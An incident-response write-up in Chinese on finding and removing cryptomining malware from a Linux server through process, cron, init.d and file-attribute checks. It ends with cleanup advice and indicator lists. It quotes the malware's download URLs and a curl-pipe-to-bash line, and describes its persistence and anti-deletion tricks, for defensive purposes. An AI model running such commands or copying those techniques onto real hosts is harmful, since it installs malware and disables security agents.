一次安全应急过程,发现大量的恶意脚本和挖矿文件包括-bash和sysdrr等明显特征病毒家族的文件,然后发现竟然删除不了恶意文件,提示“Operation not permitted” 不允许操作。此情此景,只好掏出祖传的安全应急手册,终于找到破解之法。
一、 top 命令查看进程
通过top查看,发现有一个-bash进程消耗了大量的CPU资源。
二、查看网络连接
通过netstat -anltp查看,发现两个异常进程bashirc和-bash。
尝试使用 kill -9+ 进程号,强制杀死进程后,病毒进程又重启,怀疑设置了定时任务
三、查询不到-bash文件
查看PID目录/proc/31766,可以看到exe被指向了一个被删除了的-bash进程(进程路径/usr/bin/-bash)
ls /proc/31766/ -lh
查看PID目录/proc/28552,可以看到exe被指向了一个/tmp/-python
ls /proc/28552/ -lh
可以查到恶意进程bashirc
ps -ef | grep bashirc
Look look这个bashirc和-python在干啥,在下载恶意代码的文件和调用masscan扫描内网:
看看http://5.42.67.3/2.gif、http://dw.c4kdeliver.top/2.gif是下载个啥:
这时给目录赋权、修改文件属性防止被删除、还套娃下载quartz_uninstall.sh内容如下:
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh|bash
四、查看定时任务
列出所有的定时任务,又是套娃下载,由于主机已禁用了复制、上传、下载,因此也不能分析这个base64编码的内容了。
crontab -l
五、查看启动项
1)基本上所有sep时间的文件都是被篡改过或投放进来的:
ls /etc/init.d -lh
又是套娃下载:
vi /etc/init.d/linux-d
2)找不到-bash的原因
vi /etc/init.d/pwnring
上面的脚本将/bin/initdr拷贝到/bin/-bash,执行他后删除,并且所有的操作都将操作记录写给了null,隐藏了他在系统内的踪迹,更加确定了我的想法,绝壁是被当矿机了。我们用vim打开这个sysdrr文件,发现里面全是乱码,说明这还不是一个简单的文本脚本文件。
六、grep -r搜索包含特定字符的文件
grep -r 命令的使用也比较简单,只需在命令行中输入grep -r 后面加上要搜索的字符就可以完成搜索,例如:grep -r 'hello' 就可以搜索文件中包含hello字符的文件。搜索当前目录中所有文件中的字符串:grep -r 'keyword' .
使用grep -r查询包含恶意域名的文件:
grep -r "dw.c4kdeliver.top" /
七、无法删除文件
1)无法删除启动项中恶意文件
chattr -ia 清除文件属性获取操作权限
使用rm -rf 无法删除文件,提示“Operation not permitted” 不允许操作。
2)lsattr查看文件属性不被修改
属性i #无法对文件进行修改;若对目录设置了该参数,则仅能修改其中的子文件内容而不能新建或删除文件
属性a #仅允许补充(追加)内容,无法覆盖/删除内容(Append Only)
如果需要删除文件,需要解除ia属性,即可删除:
chattr -ia -python
rm -f -python
八、后续建议
1)封堵恶意IP和域名
封禁恶意ip和域名,包括恶意域名dw.c4kdeliver.top,恶意IP包括:104.21.22.218,172.67.207.34,5.42.67.3,87.121.221.176,89.185.85.102,167.71.233.11,51.255.171.23,172.64.80.1,104.21.22.218,217.182.205.238
2)杀死恶意进程
需要杀死恶意进程,不然文件删除可能还会出行。
kill -pid
3)清除定时任务
执行以下命令后,所有用户下面的定时任务会被删除,所以需要注意是不是要全部清除:
crontab -r
4)清除可疑文件
整理一些可疑文件和目录,自行确认是否正常,对于攻击者投放的文件建议全部清除,当然要想把恶意文件全部找出来,可能需要花不少时间,建议找出攻击路径和问题原因后,重置操作系统吧。
5)可疑的文件和存放的目录:
/etc/ld.so.preload
/etc/rc.local/.bash_profilr
/etc/rc.local/.bashrc
/etc/systemd/system/
/etc/systemd/system/linux-d.service
/etc/systemd/system/pwringe.service
/etc/init.d/pwnrig
/etc/init.d/sedWxsep5
/etc/init.d/oanacroner
/etc/cron.d/apache
/etc/cron.d/nginx
/etc/cron.hourly
/usr/bin/sysdown
/usr/bin/-bash
/root/.bashrc
/etc/cron.weekly/sync
/tmp/xms
/tmp/2.gif
/tmp/.ICE-unix/.new/-bash
/tmp/masscan
/tmp/p.lst
/tmp/px5
/tmp/spirit
/tmp/-python
/tmp/-bash
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.crontab.*
/tmp/crontab.*
/tmp/nginx
/tmp/root
/tmp/bashirc
/tmp/bashirc.swp
/tmp/bashirc.swp.swp
/tmp/dbused
/tmp/dbusex
/tmp/xms
/tmp/x86_64
/tmp/i686
/tmp/go
/tmp/x64b
/tmp/x32b
/bin/-bash
/bin/sysdr
/bin/initdr
/bin/dbused
/bin/bprofr
/bin/crondr
/bin/-python
/bin/quartz_uninstall.sh
/sys/fs/bpf
/sys/fs/cgroup
/sys/fs/ext4
/sys/fs/pstore
/var/tmp/java
6)删除定时任务
crontab -r
7)清空公钥目录
/root/.ssh
8)安全加固
修改ssh登录密码,禁止使用弱密码;及时更新相关服务,修补服务漏洞;定期开展安全检查,及时发现和修补漏洞等等。
九、最后
本文仅仅是简要概之此次排查过程,当然真实过程远比此复杂,但不方便一一描述。
Taps:
1)扫描二维码点击关注,设为星标。 2)下载地址:文档公众号回复"sysdrr"获取文档下载。 |